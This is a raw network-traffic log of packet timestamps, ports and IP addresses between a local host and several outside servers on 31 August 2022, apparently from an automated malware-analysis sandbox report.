Aug 31, 2022 08:34:31.573601961 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573661089 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.573693037 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573710918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573745966 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573756933 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.573812008 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573827982 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573858976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573868036 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.573870897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.573904037 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.574316978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574350119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574410915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574412107 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.574426889 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574472904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574472904 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.574513912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574552059 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574590921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574594975 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.574604034 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574640036 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.574822903 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574840069 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574856043 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574915886 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.574928999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574944973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574960947 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.574973106 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.574989080 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575009108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575014114 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.575020075 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575058937 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.575562000 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575579882 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575594902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575613022 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575651884 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.575659990 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575674057 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.575676918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575692892 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575715065 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.575720072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575733900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575774908 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.575826883 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575844049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575859070 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575886011 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.575952053 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.575968981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.576006889 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.576024055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.576040030 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.576056004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.576562881 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.576682091 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.727369070 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.731734037 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:37.209691048 CEST	49767	80	192.168.2.3	196.200.111.5
Aug 31, 2022 08:34:37.477199078 CEST	80	49767	196.200.111.5	192.168.2.3
Aug 31, 2022 08:34:37.479868889 CEST	49767	80	192.168.2.3	196.200.111.5
Aug 31, 2022 08:34:37.480055094 CEST	49767	80	192.168.2.3	196.200.111.5
Aug 31, 2022 08:34:37.480103970 CEST	49767	80	192.168.2.3	196.200.111.5
Aug 31, 2022 08:34:37.745621920 CEST	80	49767	196.200.111.5	192.168.2.3
Aug 31, 2022 08:34:38.629393101 CEST	49768	80	192.168.2.3	208.95.112.1
Aug 31, 2022 08:34:38.660217047 CEST	80	49768	208.95.112.1	192.168.2.3
Aug 31, 2022 08:34:38.660332918 CEST	49768	80	192.168.2.3	208.95.112.1
Aug 31, 2022 08:34:38.661267042 CEST	49768	80	192.168.2.3	208.95.112.1
Aug 31, 2022 08:34:38.700198889 CEST	80	49768	208.95.112.1	192.168.2.3
Aug 31, 2022 08:34:38.854152918 CEST	49768	80	192.168.2.3	208.95.112.1
Aug 31, 2022 08:34:40.898288965 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:40.898332119 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:40.898415089 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:41.007781982 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:41.007806063 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:41.057672024 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:41.057843924 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:41.071271896 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:41.071285963 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:41.071716070 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:41.229361057 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:44.236433029 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.291723013 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.291821003 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.291956902 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.291966915 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.348161936 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.348191023 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.363970995 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.364013910 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.364093065 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.364152908 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.364176035 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.364197969 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.364228964 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.364279985 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.364298105 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.364321947 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.364347935 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.364367008 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.364382029 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.364384890 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.364432096 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.420201063 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.420259953 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.420298100 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.420336962 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.420340061 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.420382023 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.420387030 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.420418978 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.420459032 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.420470953 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.420499086 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.420541048 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.421139002 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.421184063 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.421226978 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.421247959 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.421264887 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.421305895 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.421385050 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.421426058 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.421466112 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.421474934 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.421504021 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.421550989 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.422161102 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.422204018 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.422241926 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.422252893 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.422283888 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.422327042 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.475706100 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.475831985 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.475877047 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.475889921 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.475914955 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.475955009 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.475958109 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.476031065 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.476082087 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.476087093 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.476128101 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.476167917 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.476167917 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.476206064 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.476248026 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.476248980 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.476286888 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.476330042 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.477087975 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.477128983 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.477165937 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.477193117 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.477205992 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.477246046 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.477607965 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.477653980 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.477703094 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.477833033 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.478049994 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.478131056 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.479342937 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.479429960 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.479482889 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.479489088 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.479528904 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.479624033 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.479741096 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.479800940 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.479845047 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.479861021 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.479893923 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.479944944 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.480031967 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480071068 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480114937 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480122089 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.480161905 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480221987 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.480247021 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480317116 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480359077 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480372906 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.480405092 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480458021 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.480602980 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480643988 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480688095 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480698109 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.480735064 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.480789900 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.531939983 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532001019 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532062054 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532098055 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.532118082 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532161951 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532186031 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.532212019 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532257080 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532263041 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.532339096 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532382011 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532396078 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.532429934 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532474041 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532480001 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.532516956 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.532566071 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.533277988 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.533330917 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.533370972 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.533402920 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.533444881 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.533468008 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.533516884 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.533560038 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.533601999 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.533622026 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.533652067 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.533714056 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.534147978 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534189939 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534235001 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534262896 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.534291029 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534347057 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.534383059 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534424067 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534466982 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534481049 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.534516096 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534576893 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.534708023 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534750938 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534794092 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534809113 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.534841061 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.534889936 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.535161972 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.535202980 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.535248995 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.535265923 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.535299063 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.535366058 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.535618067 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.535686016 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.535718918 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.535758018 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.535794020 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.535801888 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.535837889 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.535857916 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.535907984 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.536339998 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.536382914 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.536422968 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.536442041 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.536472082 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.536698103 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.536778927 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.536828995 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.537004948 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.566035986 CEST	49771	80	192.168.2.3	45.136.151.102
Aug 31, 2022 08:34:44.590874910 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.590941906 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.591053963 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.591069937 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.591238022 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.591300964 CEST	49770	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:44.647373915 CEST	80	49770	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:44.705610991 CEST	80	49771	45.136.151.102	192.168.2.3
Aug 31, 2022 08:34:44.705722094 CEST	49771	80	192.168.2.3	45.136.151.102
Aug 31, 2022 08:34:44.706672907 CEST	49771	80	192.168.2.3	45.136.151.102
Aug 31, 2022 08:34:44.846406937 CEST	80	49771	45.136.151.102	192.168.2.3
Aug 31, 2022 08:34:44.860644102 CEST	80	49771	45.136.151.102	192.168.2.3
Aug 31, 2022 08:34:44.917186975 CEST	49771	80	192.168.2.3	45.136.151.102
Aug 31, 2022 08:34:44.954476118 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:44.995383024 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.178860903 CEST	49772	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.213696003 CEST	49771	80	192.168.2.3	45.136.151.102
Aug 31, 2022 08:34:45.213777065 CEST	49771	80	192.168.2.3	45.136.151.102
Aug 31, 2022 08:34:45.236453056 CEST	80	49772	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.236579895 CEST	49772	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.236668110 CEST	49772	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.238349915 CEST	49772	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.293927908 CEST	80	49772	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.296149015 CEST	80	49772	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.307658911 CEST	80	49772	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.308376074 CEST	49772	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.308422089 CEST	49772	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.353324890 CEST	80	49771	45.136.151.102	192.168.2.3
Aug 31, 2022 08:34:45.368659019 CEST	80	49772	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:45.409450054 CEST	80	49771	45.136.151.102	192.168.2.3
Aug 31, 2022 08:34:45.445553064 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.445605040 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.445641041 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.445673943 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.445692062 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.445719957 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.445733070 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.445822954 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.445852995 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.445883036 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.445899010 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.445909023 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.445924997 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.445939064 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.445959091 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.445998907 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.446007013 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.446578979 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.526601076 CEST	49771	80	192.168.2.3	45.136.151.102
Aug 31, 2022 08:34:45.656495094 CEST	49773	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:45.676417112 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.676564932 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.676637888 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.676655054 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.676685095 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.676760912 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.676822901 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:45.676826000 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.676850080 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:45.676870108 CEST	49769	443	192.168.2.3	104.21.40.196
